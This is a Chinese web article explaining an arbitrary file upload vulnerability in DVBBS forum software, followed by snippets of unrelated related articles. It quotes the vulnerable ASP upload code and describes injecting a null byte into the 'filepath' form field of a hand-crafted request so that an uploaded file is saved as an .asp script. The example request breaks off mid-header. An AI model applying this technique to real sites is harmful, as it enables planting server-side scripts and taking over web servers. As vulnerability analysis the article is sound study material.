动网论坛上传文件漏洞的原理以及攻击的代码实现

攻击|上传

最近一段时间比较忙,没什么时间为组织做贡献(实在是没实力,呵呵).刚好前一段时间听小*(*蛋儿的《目前流行的BBS安全性比较》一文请参阅:http://wvw.ttian.net/forum/viewtopic.php?id=269)说动网论坛出了一个上传任意文件的漏洞,当时没怎么明白.但是我看到最近NB论坛上全部都在讨论有关这方面的问题,就研究了一下,发现这个漏洞确实存在,而且非常严重,用小*的话说是DVBBS7.0 SP2以下通杀.虽然有些人已经知道了攻击方法,但是还是存在一些问题.下面我就动网的这个漏洞做一下讲解.(不知道会不会被人骂,因为这个漏洞实在太大了).

我们先看一下动网论坛上传文件的相关代码:

'===========无组件上传(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上传对象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上传数据,不限大小
iCount=0

if upload.err > 0 then
select case upload.err
case 1
Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
case 2
Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目录后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"

for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName) ''生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
response.end
end if

fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]"
response.end
end if

randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 说明有文件数据
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 个文件上传结束!"

end if
end sub

在上面代码中可以看到这样一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码:
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了.

当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了.

我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^):

POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connecti

时间: 2024-10-25 23:36:57

动网论坛上传文件漏洞的原理以及攻击的代码实现的相关文章

ASP 下载时重命名已上传文件的新下载文件名的实现代码

问题:我想上传文件时后改名,下载时又将名改回来. 如:我上传一张"我的照片.jpg"上传后改为系统数名"20040302001.jpg"下载时又改回"我的照片.jpg" 其中的保存新旧文件名都用数据库(已做) 就是下载时的改名做不出来. 代码: 复制代码 代码如下: <% function dl(f,n) on error resume next Set S=CreateObject( "Adodb.Stream ")

asp.net实现上传文件显示本地绝对路径的实例代码_实用技巧

页面代码主要就是JSview plaincopy to clipboardprint 复制代码 代码如下: <head runat="server">     <title>无标题页</title>     <mce:script language="javascript" type="text/javascript"><!--      function Imagesrc()      { 

论坛上传附件错误:不支持 无组件 上传,服务器可能未安装该组件

安装了动网论坛,发表文章不能上传附件,上传就提示"不支持 无组件 上传,服务器可能未安装该组件":我给他空间装了ASP探针,看了下服务器的情况: 动网论坛上传附件错误 什么服务器么,一个上传组件都不装,能支持上传么,看来只能用无组件上传了,从后台可以看到服务器支持无组件上传:可是我选择了无组件上传,根据百度到的信息,选取生成预览图片组件 和 图片水印设置开关 均为 关闭 状态,还是不能上传图片: 还是度娘强大啊,最后有人说: 看你是不是把PreviewImage删除了,传上去即可 就算

动网论坛验证码改进:加法验证码(ASPJpeg版)

很多站长都为论坛里太多的垃圾广告抓狂,本程序就是为了对付论坛垃圾广告群发器的. 将验证码改为加法运算,比如验证码显示"25+64等于?",那么输入"91"就能通过验证. 来看看效果图对比:字符验证码: → 加法验证码: 优点: ①与纯字符验证码相比,本程序效防止了绝大部分(99%以上)广告机的自动识别.即使是中文验证码, 也能被市面上的部分广告机识别. ②与中文验证码相比,避免了用户输入用户名密码验证码的时候需要切换输入法的麻烦. 有兴趣的朋友,还可以扩展为其他的运

动网论坛验证码改进 加法验证码(ASPJpeg版)_应用技巧

来看看效果图对比:字符验证码: → 加法验证码:优点: ①与纯字符验证码相比,本程序效防止了绝大部分(99%以上)广告机的自动识别.即使是中文验证码,也能被市面上的部分广告机识别. ②与中文验证码相比,避免了用户输入用户名密码验证码的时候需要切换输入法的麻烦. 有兴趣的朋友,还可以扩展为其他的运算,比如乘法,减法,乘方等. 使用方法:将以下代码保存为Dv_GetCode.asp文件,替换动网论坛的该文件.背景色.字体颜色可在代码中修改. 说明:该程序需要网站空间支持ASPJpeg组件.楷体_GB

动网论坛验证码改进 加法验证码(ASPJpeg版)

来看看效果图对比:字符验证码: → 加法验证码: 优点: ①与纯字符验证码相比,本程序效防止了绝大部分(99%以上)广告机的自动识别.即使是中文验证码,也能被市面上的部分广告机识别. ②与中文验证码相比,避免了用户输入用户名密码验证码的时候需要切换输入法的麻烦. 有兴趣的朋友,还可以扩展为其他的运算,比如乘法,减法,乘方等. 使用方法:将以下代码保存为Dv_GetCode.asp文件,替换动网论坛的该文件.背景色.字体颜色可在代码中修改. 说明:该程序需要网站空间支持ASPJpeg组件.楷体_G

asp.net中MVC借助Iframe实现无刷新上传文件实例_实用技巧

本文实例讲述了asp.net中MVC借助Iframe实现无刷新上传文件的方法.分享给大家供大家参考.具体实现方法如下: html: 复制代码 代码如下: <div id="uploadwindow" style="display: none;">     <form action="/ShopActivitys/ImportActivityItems" id="form1" name="form1&

Android实现上传文件功能的方法_Android

本文所述为一个Android上传文件的源代码,每一步实现过程都备有详尽的注释,思路比较清楚,学习了本例所述上传文件代码之后,你可以应对其它格式文件的上传.实例中主要实现上传文件至Server的方法,允许Input.Output,不使用Cache,使Androiod上传文件变得轻松. 主要功能代码如下: package com.test; import java.io.DataOutputStream; import java.io.FileInputStream; import java.io.

php curl 上传文件代码实例_php技巧

假设server端上传文件处理脚本upload.php: 复制代码 代码如下: <?php    print_r($_POST);  print_r($_FILES);  1.使用 CURL 默认的方法 复制代码 代码如下: //如果php文件是utf8编码,系统是GBK编码,那么就需要转下编码,要不然Php在系统中找不到这个文件    $file = realpath(mb_convert_encoding('测试图片.JPG','GBK','utf8'));    $file = realp